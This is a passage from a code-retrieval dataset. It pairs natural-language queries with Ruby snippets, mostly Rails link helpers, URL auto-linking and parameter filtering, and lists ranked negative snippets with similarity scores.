configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Ignore situations where the href is an interpolated string with something before the user input
def ignore_interpolation? arg, suspect return unless string_interp? arg return true unless arg[1].chomp.empty? # plain string before interpolation first_interp = arg.find_nodes(:evstr).first return unless first_interp first_interp[1].deep_each do |e| if suspect == e return false end end true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def handle_special_HYPERLINK(special)\n url = special.text\n gen_url url, url\n end", "def my_auto_link(text, href_options = {})\n extra_options = tag_options(href_options.stringify_keys) || \"\"\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $5\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\"#{extra_options}>#{text}</a>#{d})\n end\n end\n end", "def handle_special_HYPERLINK(special); end", "def search_link(attr, value, content)\n string = \"<a href='#{@search_url}#{attr.downcase}=#{value.downcase}'>#{content}</a>\"\nend", "def fixme(link)\n \n link =~ /href=['|\"]([^'|\"]*)/i\n href = $1\n return link if href.nil?\n return link if href =~ /^http:|^https|^mailto:/i\n\n return link if href =~ /\\#/\n segs = href.split(\".\")\n return link if segs.last =~ /\\/|%|\\?/\n \n\n begin\n num = Integer(segs.last)\n return link\n rescue ArgumentError => ex\n rescue TypeError => te # ruby 1.9.2\n end\n \n if segs.length > 1 and segs.last.downcase != \"html\"\n link.gsub!(/<a/, %Q(<a onClick=\"javascript: pageTracker._trackPageview('#{href}'); \"))\n end\n\n link\n \n end", "def link\n inclusion.strip\n end", "def handle_special_HYPERLINK(special) # rubocop:disable Style/MethodName\n @hyperlink ? special.text : super\n end", "def test_text_with_incomplete_link\n assert_equal %q{sth sth sth <a href='http://duzadupa'>http://duzadupa</a> sth sth},\n replace_links_with_html('sth sth sth http://duzadupa sth sth')\n end", "def _link(attribute, text=nil)\n link = \"##{attribute}\"\n %{<a href=\"#{link}\">#{text || attribute}</a>}\nend", "def inline_auto_link(text)\n text.gsub!(AUTO_LINK_RE) do\n all, leading, proto, url, post = $&, $1, $2, $3, $6\n if leading =~ /<a\\s/i || leading =~ /![<>=]?/\n # don't replace URL's that are already linked\n # and URL's prefixed with ! !> !< != (textile images)\n all\n else\n # Idea below : an URL with unbalanced parethesis and\n # ending by ')' is put into external parenthesis\n if ( url[-1]==?) and ((url.count(\"(\") - url.count(\")\")) < 0 ) )\n url=url[0..-2] # discard closing parenth from url\n post = \")\"+post # add closing parenth to post\n end\n tag = content_tag('a', proto + url, :href => \"#{proto==\"www.\"?\"http://www.\":proto}#{url}\", :class => 'external')\n %(#{leading}#{tag}#{post})\n end\n end\n end", "def url_arg url\r\n if url.instance_of?(String) then url else exactize(@view.url_for(url).gsub('amp;', '')) end\n end", "def turn_bare_urls_into_links(str)\n Rinku.auto_link(str) do |text|\n \"<i class=\\\"fa fa-external-link\\\" aria-hidden=\\\"true\\\"></i>&nbsp;#{text}\"\n end\n end", "def clean_url(href)\n # TODO: A better way would be to split by / then take the last section, strip off the anchor then cgi escape\n URI.unescape(href.strip).gsub(\" \", \"%20\")\n end", "def auto_link_urls(text)\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $4\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{text}</a>#{d})\n end\n end\n end", "def auto_link_urls(text, html_options = {})\n extra_options = Mash.new(html_options).to_html_attributes\n extra_options = \" #{extra_options}\" unless extra_options.blank?\n\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $4\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\"#{extra_options}>#{text}</a>#{d})\n end\n end\n end", "def raw_href\n templated? ? template.pattern : target.href\n end", "def auto_link_urls(text, html_options = {}, options = {})\n link_attributes = html_options.stringify_keys\n text.gsub(AUTO_LINK_RE) do\n scheme, href = $1, $&\n punctuation = []\n\n if auto_linked?($`, $')\n # do not change string; URL is already linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n while href.sub!(/[^#{WORD_PATTERN}\\/-]$/, '')\n punctuation.push $&\n if opening = BRACKETS[punctuation.last] and href.scan(opening).size > href.scan(punctuation.last).size\n href << punctuation.pop\n break\n end\n end\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless scheme\n\n unless options[:sanitize] == false\n #link_text = sanitize(link_text)\n #href = sanitize(href)\n end\n #content_tag(:a, link_text, link_attributes.merge('href' => href), !!options[:sanitize]) + punctuation.reverse.join('')\n \"<a href=#{href} target='_blank'>#{link_text}</a>\"\n end\n end\n end", "def inline_docbook_autolink_urls(text)\n text.gsub!(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $5\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n %(#{a}<ulink url=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{b}#{c}</ulink>#{d})\n end\n end\n end", "def fetch_link_name(link_name)\n return 'N/A' if link_name.empty?\n link_name\n end", "def sexy(body)\n body.gsub(URL_MATCHER, link_to(\"http://\\\\2\", \"http://\\\\2\", :target => \"_blank\"))\n end", "def handle_regexp_HYPERLINK(target)\n url = target.text\n\n gen_url url, url\n end", "def handle_regexp_HYPERLINK target\n return cross_reference $' if target.text =~ /\\Ardoc-ref:/\n\n super\n end", "def auto_link_urls(text, html_options = {}, options = {})\n link_attributes = html_options.stringify_keys\n text.gsub(AUTO_LINK_RE) do\n scheme, href = $1, $&\n punctuation = []\n\n if auto_linked?($`, $')\n # do not change string; URL is already linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n while href.sub!(/[^\\w\\/-]$/, '')\n punctuation.push $&\n if opening = BRACKETS[punctuation.last] and href.scan(opening).size > href.scan(punctuation.last).size\n href << punctuation.pop\n break\n end\n end\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless scheme\n\n unless options[:sanitize] == false\n link_text = sanitize(link_text)\n href = sanitize(href)\n end\n content_tag(:a, link_text, link_attributes.merge('href' => href,'target' => \"_blank\"), !!options[:sanitize]) + punctuation.reverse.join('')\n end\n end\n end", "def link aUrl, aName = nil, aTitle = nil\n aName ||= aUrl\n %{<a href=\"#{aUrl}\"#{%{ title=\"#{aTitle}\"} if aTitle}>#{aName}</a>}\n end", "def inline_textile_autolink_urls(text)\n text.gsub!(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $5\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{b}#{c}</a>#{d})\n end\n end\n end", "def href\n @title.gsub(/[^a-zA-Z0-9]+/, '-')\n end", "def expand_urls(input, url='')\n url ||= '/'\n input.gsub /(\\s+(href|src)\\s*=\\s*[\"|']{1})(\\/[^\\\"'>]*)/ do\n $1+url+$3\n end\n end", "def expand_urls(input, url='')\n url ||= '/'\n input.gsub /(\\s+(href|src)\\s*=\\s*[\"|']{1})(\\/[^\\\"'>]*)/ do\n $1+url+$3\n end\n end", "def link_sanitizer; end", "def link_sanitizer; end", "def link_sanitizer; end", "def search_ah_link(atk, health, content)\n string = \"<a href='#{@search_url}type=troop&atk=#{atk}&health=#{health}'>#{content}</a>\"\nend", "def unescape_link\n self.link = CGI.unescape(link) if self.link.present?\n end", "def html_filter_annotate_bare_links\n @html.search('a[@href]').each do |node|\n href = node.attributes['href'].content\n text = node.inner_text\n\n next unless href == text || href[0] == '#' ||\n CGI.unescapeHTML(href) == \"mailto:#{CGI.unescapeHTML(text)}\"\n\n node.set_attribute('data-bare-link', 'true')\n end\n end", "def expand_urls(input, url='')\n url ||= '/'\n input.gsub /(\\s+(href|src)\\s*=\\s*[\"|']{1})(\\/[^\\\"'>]+)/ do\n $1+url+$3\n end\n end", "def shorthand_url(input)\n input.gsub /(https?:\\/\\/)(\\S+)/ do\n $2\n end\n end", "def shorthand_url(input)\n input.gsub /(https?:\\/\\/)(\\S+)/ do\n $2\n end\n end", "def link(href: nil, issue: nil)\n return \"<a href='#{href}#{issue}'>#{issue}</a>\"\n end", "def activate_field_links(value, types, auto_link: false)\n return if value.nil?\n\n # TODO: It would be nice to enhance these to be more wiki style and allow providing both a display value and a\n # link value. Something like [some display|http://go.somewhere.else]. If no link value is provided, then assume\n # the display references a local anchor\n #\n # Something similar could be done for `` and maybe allow linking to a specified type, but aliasing the text.\n #\n # The regex would need to be updated to allow additional character sequences.\n\n # Activate type links\n results = value.gsub(/`((\\w|\\s|\\d|\\.)+)`/) do |match|\n tag = match.tr('\\`', '')\n next \"<a target=\\\"_blank\\\" href=\\\"#{types[tag]}\\\"><code>#{tag}</code></a>\" if types[tag]\n\n \"<code>#{tag}</code>\"\n end\n\n # If auto_link is true, activate type strings which have not been explicitly linked.\n if auto_link\n results = results.gsub(/(\\w+)/) do |match|\n next \"<a target=\\\"_blank\\\" href=\\\"#{types[match]}\\\"><code>#{match}</code></a>\" if types[match]\n\n \"<code>#{match}</code>\"\n end\n end\n\n # Activate local links\n # This regex used to use \\w, but now it assumes that only letters will be inside links to be activated\n # If we want to maintain more of the functionality of \\w, something like this could be used:\n # /(?!\\[\\d+\\])\\[\\w+\\]/\n results.gsub(/\\[([A-Za-z]+)\\]/) do |match|\n tag = match.tr('[]', '')\n \"<a href=\\\"##{@table_name}-#{tag}\\\">#{tag}</a>\"\n end\n\n end", "def autolink(str)\n str.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $4\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n \"#{a}<a href=\\\"#{ b == 'www.' ? 'http://www.' : b }#{c}\\\">#{b + c}</a>#{d}\"\n end\n end\n end", "def anchor match\n \"<a href=\\\"\\##{match[:slug]}\\\">#{strip_tags match[:title]}</a>\"\nend", "def list_item_optional_attribute attribute, value, url=nil, missing_value_text=\"Not specified\"\n if value.blank?\n value = \"<span class='none_text'>#{missing_value_text}</span>\"\n else\n unless url.nil?\n value = link_to value, url\n end\n end\n return missing_value_text.nil? ? \"\" : \"<p class=\\\"list_item_attribute\\\"><b>#{attribute}</b>: #{value}</p>\"\n end", "def alink(text, args={}, parms={})Hash\n raise ArgumentError.new(\"In Demeler#alink, expected String for argument 1, text\") if !text.kind_of?(String)\n raise ArgumentError.new(\"In Demeler#alink, expected Hash for argument 2, opts\") if !args.kind_of?(Hash)\n raise ArgumentError.new(\"In Demeler#alink, expected an href option in opts\") if !args[:href]\n\n # I had to use class.name because the Ruby case doesn't work\n # properly with comparing value.class with Symbol or String.\n # It was necessary to compare value.class.name with \"Symbol\" and \"String\".\n opts = args.clone\n value = opts.delete(:href)\n case value.class.name\n when \"Symbol\"\n # convert to string\n href = value.to_s\n when \"String\"\n # clone string\n href = String.new(value)\n else\n href = value\n end\n\n if !parms.empty?\n href << '?'\n parms.each do |k,v|\n href << k.to_s\n href << '='\n href << CGI::escape(v.to_s)\n href << '&'\n end\n else\n href << '&' # will be removed\n end\n opts[:href] = href[0..-2] # remove last '&'\n opts[:text] = text\n tag_generator(:a, opts)\n end", "def auto_link_urls(text, html_options = {}, options = {})\n link_attributes = html_options.stringify_keys\n text.gsub(AUTO_LINK_RE) do\n scheme, href = $1, $&\n punctuation = []\n trailing_gt = \"\"\n\n if auto_linked?($`, $')\n # do not change string; URL is already linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n while href.sub!(/[^#{WORD_PATTERN}\\/\\-=;]$/, '')\n punctuation.push $&\n if opening = BRACKETS[punctuation.last] and href.scan(opening).size > href.scan(punctuation.last).size\n href << punctuation.pop\n break\n end\n end\n\n # don't include trailing &gt; entities as part of the URL\n trailing_gt = $& if href.sub!(/&gt;$/, '')\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless scheme\n\n unless options[:sanitize] == false\n link_text = sanitize(link_text)\n href = sanitize(href)\n end\n content_tag(:a, link_text, link_attributes.merge('href' => href), !!options[:sanitize]) + punctuation.reverse.join('') + trailing_gt.html_safe\n end\n end\n end", "def auto_link_urls(text)\n text.gsub(AUTO_LINK_RE) do\n href = $&\n punctuation = ''\n left, right = $`, $'\n # detect already linked URLs and URLs in the middle of a tag\n if left =~ /<[^>]+$/ && right =~ /^[^>]*>/\n # do not change string; URL is alreay linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n if href.sub!(/[^\\w\\/-]$/, '') and punctuation = $& and opening = BRACKETS[punctuation]\n if href.scan(opening).size > href.scan(punctuation).size\n href << punctuation\n punctuation = ''\n end\n end\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless href.index('http') == 0\n\n %Q(<a href=\"#{href}\">#{link_text}</a>)\n end\n end\n end", "def link_text(tag)\n $2 if tag =~ link_regex\n end", "def link_to(body, url)\n \"[#{body}](#{url})\" if !AIPP.options.check_links || url_exists?(url)\n end", "def pdef_replace_link(txt)\n # NOTE: it works with only link\n link_url = nil\n str_after = ''\n str_before = ''\n aa = txt.split('link:')\n if aa.size == 2\n aa[1].lstrip!\n bb = aa[1].index(/[\\)\\, ]/)\n link_url = aa[1][0..bb - 1]\n str_after = aa[1][bb..-1]\n str_before = aa[0]\n end\n\n if link_url\n str_link = \"<c:alink uri=\\\"#{link_url}\\\">#{link_url.gsub(\"http://\", \"\")}</c:alink>\"\n str_res = str_before + str_link + str_after\n else\n return txt\n end\n end", "def link_to(arg)\n text =\n if arg.respond_to?(:name)\n arg.name\n else arg.to_s\n end\n\n Doc::HTML.escape_html(text)\n end", "def to_link(href_str, label, class_str = nil)\n a = %(<a href=\"#{href_str}\")\n a += %( class=\"#{class_str}\") if class_str.present?\n a + \">#{label}</a>\"\n end", "def A(*args)\n hash = args.last.respond_to?(:to_hash) ? args.pop : {}\n\n hash[:href] ||= Rs(*args)\n text = hash.delete(:text) || args.last || hash[:title] || hash[:href]\n hash[:href] = hash[:href].to_s.gsub(/[^\\/?;=]+/) {|m| CGI.escape(m) }\n\n args = ['']\n hash.each {|k,v| args << %(#{k}=\"#{v}\") if k and v }\n\n %(<a#{args.join(' ')}>#{text}</a>)\n end", "def render_link_to_external_resource(args = {})\n scalar_value = !(args[:value].is_a? Array)\n link_label = args[:config].link_label || \"See also\"\n link_label = \"#{link_label} <span class=\\\"fa fa-external-link\\\"></span>\".html_safe\n links = Array(args[:value]).map {|url| link_to(link_label, url, target: '_blank') }\n scalar_value ? links.first : links\n end", "def access_key_link_to text, url, access_key\n # pos = text.downcase =~ Regexp.new(\"(#{access_key})\")\n # if pos == 0\n # text = \"<u>#{access_key.upcase}</u>\" + text.slice(pos+1..text.length-1) if pos\n # elsif pos\n # text = text.slice(0..pos-1) + \"<u>#{access_key}</u>\" + text.slice(pos+1..text.length-1) if pos\n # end\n # \"<div class=\\\"posted-by\\\" style=\\\"font-size:10px;\\\">Press #{access_key} to select</div>\" + link_to(text, url)\n [content_tag(:div, \"Press #{access_key} to select\", :class => \"access-key\"), link_to(text, url)].to_s\n #link_to(access_key, url, :accesskey => access_key) + \" - \" + link_to(text, url)\n end", "def aref\n title = @title || '[untitled]'\n\n CGI.escape(title).gsub('%', '-').sub(/^-/, '')\n end", "def normalise_href(href)\n # ignore links which are external, or to in-page anchors\n return nil if href[0] == \"#\" || [\"/\", \"http\", \"mail\", \"/ima\"].include?(href[0, 4])\n\n # Remove any trailing anchors, or \"/\" and leading \"./\" \n target = href.sub(/\\#.*/, \"\").sub(/\\/$/, \"\").sub(/\\.*/, \"\").sub(/\\/*/, \"\")\n\n # Ignore links which don't point to html files\n /html$/.match?(target) ? target : nil\nend", "def linkify(str)\n\t\t\tstr.gsub( %r{http://[^\"\\s]+} ) do |url|\n\t\t\t\tshort = url.gsub(%r{^.*#{Regexp.quote(request.host_with_port)}}, '')\n \t\t\"<a href='#{url}'>#{short}</a>\"\n\t\t\tend\n\tend", "def clean_format(string, options = {})\n options.to_options!\n content = sanitize(string.to_s)\n content = auto_link(content, :all, options.slice(:target))\n content = simple_format(content, options)\n end", "def garantir_link\n if link.present?\n link_params = link\n _link = link_params.split('/').reject { |l| l.blank? || l == 'http:' }\n _link[0].sub!(/s.|[^.]*.|\\s./, '') if _link[0].split('.').length == 3\n if ['herokuapp.com', 'codepen.io'].include? _link[0]\n link_params.gsub!('/' + _link[2] + '/', '/debug/')\n link_params.remove!('?' + _link[-1].split('?')[-1])\n elsif !_link[0]['.com'].try(:presence?)\n # sem link\n link_params.sub!('/', '') if _link[0] == '/'\n else\n errors.add(:link, 'Não é permitido.')\n return false\n end\n self.link = link_params\n end\n end", "def escape_link(link)\n link.gsub(' ', '%20')\n end", "def parse_autolink; end", "def trim_href(string)\n '#' + string.split('#')[1]\nend", "def linkify(options = {})\n url = options[:value].first\n link_to url, url\n end", "def url_field(name, options = {})\n text_field(name, options.merge!({ :onfocus => \"if(this.value==''){this.value='http://';this.select();}\",\n :onblur => \"if (this.value == 'http://') { \\\n this.value = ''; \\\n } else if (this.value != '') { \\\n var search = /^\\\\w{3,5}:\\\\/\\\\//; \\\n var result = this.value.match(search); \\\n if (result == null) { \\\n this.value = 'http://' + this.value; \\\n } \\\n }\"}))\n end", "def auto_anchor(content)\n content.gsub!(/^ *- .*/) do |string|\n ## Find shortest match for **bold**, *italics*, or [markdown][links]\n title = string.match(/\\*\\*.*?\\*\\*|\\*.*?\\*|\\[.*?\\][(\\[]/).to_s\n\n if title.empty?\n ## No match, pass item through unchanged\n string\n else\n slug = generate_slug(title)\n id_prefix = \"- {:#{slug} .anchor-list} <a href=\\\"#{slug}\\\" class=\\\"anchor-list-link\\\">●</a>\"\n string.sub!(/-/, id_prefix)\n end\n end\nend", "def linkify(text)\n text.gsub(URL_REGEXP, '<a href=\"\\0\">\\0</a>') rescue text\n end", "def test_allow_colons_in_path_component\n assert_sanitized \"<a href=\\\"./this:that\\\">foo</a>\"\n end", "def transform_auto_links( str, rs )\n\t\t\t@log.debug \" Transforming auto-links\"\n\t\t\tstr.gsub(AutoAnchorURLRegexp){\n\t\t\t\t%|<a href=\"#{Util.escape_html($1)}\">#{Util.escape_html($1)}</a>|\n\t\t\t}.gsub( AutoAnchorEmailRegexp ) {|addr|\n\t\t\t\tencode_email_address( unescape_special_chars($1) )\n\t\t\t}\n\t\tend", "def test_allow_colons_in_path_component\n assert_sanitized(\"<a href=\\\"./this:that\\\">foo</a>\")\n end", "def relative_url(input); end", "def validate_url_contains_ascii(string, html_options, wrap_with)\n string.gsub!(/((http|https)[^<\\s,]{7,}\\b)/im) do |link|\n if link.ascii_only?\n \"<a href='#{link}'#{html_options}>#{link}</a>\"\n else\n \"[WARNING, URL CONTAINS NON-LATIN LETTERS: #{link}]\"\n end\n end\n end", "def update_links(string)\n article = string.dup\n link_matches_1 = article.scan(%r{<a target=\"_blank\" href=\"(.[^>]*)\">(.[^<]*)</a>})\n link_matches_1.each do |link, text|\n article.gsub!(\"<a target=\\\"_blank\\\" href=\\\"#{link}\\\">#{text}</a>\", \"[#{text}](#{link})\")\n end\n link_matches_2 = article.scan(%r{<a href=\"(.*)\" target=\"_blank\">(.[^<]*)</a>})\n link_matches_2.each do |link, text|\n article.gsub!(\"<a href=\\\"#{link}\\\" target=\\\"_blank\\\">#{text}</a>\", \"[#{text}](#{link})\")\n end\n link_matches_3 = article.scan(%r{<a href=\"/(.*)\">(.[^<]*)</a>})\n link_matches_3.each do |link, text|\n article.gsub!(\"<a href=\\\"\\/#{link}\\\">#{text}</a>\", \"[#{text}](https://adventofcode.com/#{link})\")\n end\n article\nend", "def prep(text)\n text = text.gsub /(http[s]?:\\/\\/[^ \\t]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"\\\\1\\\">\\\\1</a> \"\n text = text.gsub /#([^ \\t<:\\.\\?!@#=\\-_]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"http://search.twitter.com/search?tag=\\\\1\\\">#\\\\1</a> \"\n text = text.gsub /@([^ \\t<:\\.\\?!@#=\\-_]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"http://twitter.com/\\\\1\\\">@\\\\1</a> \"\n end", "def append_link_type(key_url)\n if key_url.start_with?('y/')\n 'https://www.indeed.com/compan' + key_url\n elsif key_url.start_with?('?jk=')\n 'https://www.indeed.com/viewjob' + key_url\n elsif key_url.start_with?('/clk?mo')\n 'https://www.indeed.com/pagead' + key_url\n # elsif key_url.start_with?('????')\n # 'https://www.indeed.com/pagead' + key_url\n else\n 'unknown parameter, adjust in `append_link_type` method in indeed_scraper class...'\n end\n end", "def anchor(text, *args)\n case first = (args.first || text)\n when URI\n href = first.to_s\n when /^\\w+:\\/\\//\n uri = URI(first)\n uri.query = Rack::Utils.escape_html(uri.query) if uri.query\n href = uri.to_s\n else\n href = args.empty? ? r(text) : r(*args)\n end\n\n text = Rack::Utils.escape_html(text)\n %(<a href=\"#{href}\">#{text}</a>)\n end", "def gen_url url, text\n return super unless url =~ /\\Ardoc-ref:/\n\n name = $'\n cross_reference name, text, name == text\n end", "def parse_link; end", "def gen_url url, text\n if url =~ /^rdoc-label:([^:]*)(?::(.*))?/ then\n type = \"link\"\n elsif url =~ /([A-Za-z]+):(.*)/ then\n type = $1\n else\n type = \"http\"\n end\n\n if (type == \"http\" or type == \"https\" or type == \"link\") and\n url =~ /\\.(gif|png|jpg|jpeg|bmp)$/ then\n ''\n else\n text.sub(%r%^#{type}:/*%, '')\n end\n end", "def cross_reference name, text = nil, code = true\n lookup = name\n\n name = name[1..-1] unless @show_hash if name[0, 1] == '#'\n\n if !(name.end_with?('+@', '-@')) and name =~ /(.*[^#:])@/\n text ||= \"#{CGI.unescape $'} at <code>#{$1}</code>\"\n code = false\n else\n text ||= name\n end\n\n link lookup, text, code\n end", "def link_away(text, path, attr = {})\n if (@title == text) || (@title == attr[:title])\n text\n else\n link_to text, path\n end\n end", "def format_text(text)\n sanitize(linebreaks(auto_link(text)))\n end", "def get_linked_author_name_or_blank\n ret = get_author_name_or_blank\n ret = \"<a href=\\\"#{self.link}\\\" target=\\\"quote_extern\\\">#{ret}</a>\" unless ret.blank? or self.link.blank?\n ret\n end", "def url(value, link_pattern)\n link_pattern.sub(\"{}\", value)\n end", "def make_links(html, **opt)\n opt[:rel] ||= 'noreferrer'\n opt[:target] ||= '_blank' unless params[:action] == 'v2'\n html.to_s.gsub(%r{&quot;https?://.+&quot;}) do |s|\n url = href = s.split('&quot;')[1].html_safe\n url = make_link(url, href, **opt) if href.present?\n \"&quot;#{url}&quot;\"\n end\n end", "def link_and_format(text, options = {})\n simple_format(auto_link(text, :html => {:target => '_blank'}), options)\n end", "def substitute_links(text, *link_to_args)\n raw html_escape(text).\n to_str. # convert SafeBuffer to String so that gsub works\n gsub(/\\[\\[(.*?)\\]\\]/) { link_to $1, *link_to_args }\n end", "def unlink(text)\n return text.html_safe if text =~ /<a / # They already linked it.\n text.gsub(URI::ABS_URI) { |match|\n if match.size < 20\n \"<a href=\\\"#{match}\\\">#{match}</a>\"\n else\n host = URI::parse(match).host\n \"<a href=\\\"#{match}\\\">#{host}</a>\"\n end\n }.html_safe\n end", "def strip_link_definitions( str, rs )\n\t\t\tstr.gsub( LinkRegexp ) {|match|\n\t\t\t\tid, url, title = $1, $2, $3\n\n\t\t\t\trs.urls[ id.downcase ] = encode_html( url )\n\t\t\t\tunless title.nil?\n\t\t\t\t\trs.titles[ id.downcase ] = title.gsub( /\"/, \"&quot;\" )\n\t\t\t\tend\n\n\t\t\t\t\"\"\n\t\t\t}\n\t\tend", "def hyperlink_base=(v) Axlsx.validate_string v; @hyperlink_base = v; end", "def _resolve_links(text)\n text.gsub(/L\\((\\w+)\\)/) { _link($1) }\nend", "def transform_automation_url(arg)\n return arg unless arg.start_with?(\"http\")\n\n remote_file = determine_remote_filename(arg)\n github_match = GITHUB_REGEX.match(arg)\n\n arg = if arg.start_with?(\"https://gist.github.com\")\n arg.sub( # rubocop:disable Style/StringConcatenation\n \"https://gist.github.com\", \"https://gist.githubusercontent.com\"\n ) + \"/raw\"\n elsif github_match\n new_url = arg.sub(GITHUB_REGEX, \"https://raw.githubusercontent.com\")\n github_tree_match = GITHUB_TREE_REGEX.match(arg)\n github_blob_match = GITHUB_BLOB_REGEX.match(arg)\n\n if github_tree_match\n new_url.sub(\"/tree/\", \"/\")\n elsif github_blob_match\n new_url.sub(\"/blob/\", \"/\")\n else\n \"#{new_url}/#{Bridgetown::Utils.default_github_branch_name(arg)}\"\n end\n else\n arg\n end\n\n \"#{arg}/#{remote_file}\"\n end", "def render_url(url)\n url.blank? ? 'link not available' : absolutize_url(url)\n end", "def test_it_finds_link_to_texts_as_an_exception_to_the_rule\n assert_equal find_text('= link_to \"This should be found\", \"/\"'), [\"This should be found\", \"/\"]\n assert_equal find_type('= link_to \"This should be found\", \"/\"'), :script_array\n end", "def strip_blanks\n self.link = self.link.strip\n end", "def check_other_links!\n self.gsub!(OTHER_LINK_PATTERN) do |orig|\n result = orig\n prefix, type, id = $1, $2, $3\n matches = [\n ['comment'],\n ['image', 'img'],\n ['location', 'loc'],\n ['name'],\n ['observation', 'obs', 'ob'],\n ['project', 'proj'],\n ['species_list', 'spl'],\n ['user']\n ].select {|x| x[0] == type.downcase || x[1] == type.downcase}\n if matches.length == 1\n if id.match(/^\\d+$/)\n label = \"#{type} #{id}\"\n else\n label = id\n end\n result = \"#{prefix}x{#{matches.first.first.upcase} __#{label}__ }{ #{id} }x\"\n end\n result\n end\n end", "def link_sanitizer=(_arg0); end", "def link_sanitizer=(_arg0); end", "def link_sanitizer=(_arg0); end", "def secure_formatted_text(text)\n simple_format(auto_link(h(sanitize(text))))\n end", "def ensure_url(str)\n if str.respond_to?(:scheme)\n str\n else\n str = str.to_s\n str.gsub! /\\s/, ''\n str.gsub! /(\\#|\\?).*/, ''\n Addressable::URI.parse str\n end\n end", "def take_url\n puts 'Please enter the url'\n gets.chomp\nend", "def raw\n @raw ||= cleanup(parsed.search('//a/@href')).compact.uniq\n end" ]
[ "0.62515604", "0.62191594", "0.6155229", "0.60872567", "0.60739326", "0.5880266", "0.58740336", "0.58256066", "0.5809149", "0.5802326", "0.57969165", "0.57874554", "0.5785121", "0.5758095", "0.57289004", "0.5707168", "0.57000476", "0.5664405", "0.5628528", "0.5627714", "0.5622221", "0.5618613", "0.5616383", "0.55960774", "0.5571622", "0.555226", "0.55466026", "0.55466026", "0.5543181", "0.5543181", "0.5543181", "0.5540782", "0.5535731", "0.5528958", "0.5518573", "0.5516785", "0.5516785", "0.55119747", "0.54986656", "0.54655105", "0.5464099", "0.5456954", "0.54531413", "0.5427608", "0.5422212", "0.5415632", "0.5414698", "0.540962", "0.5406271", "0.54027236", "0.53941834", "0.53913903", "0.53812665", "0.5377117", "0.53696346", "0.5367119", "0.53435874", "0.533696", "0.5333553", "0.5327498", "0.5319932", "0.5313724", "0.531221", "0.52959216", "0.52923614", "0.5289222", "0.52877885", "0.528254", "0.52782875", "0.52755797", "0.5274365", "0.52720344", "0.52680063", "0.52673906", "0.5262644", "0.5258701", "0.525497", "0.524646", "0.5240783", "0.52311915", "0.5229886", "0.52221113", "0.52198833", "0.5212173", "0.5206138", "0.52048093", "0.519393", "0.51884377", "0.51810855", "0.5173371", "0.51526815", "0.51503605", "0.5144025", "0.51438594", "0.51408523", "0.51408523", "0.51402646", "0.51336145", "0.5128961", "0.5127185", "0.51253366" ]
0.0
-1
Internal: Appends stylus mixin for asset_url and asset_path support
def evaluate(scope, locals, &block) @data = build_mixin_body(scope) + data super end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
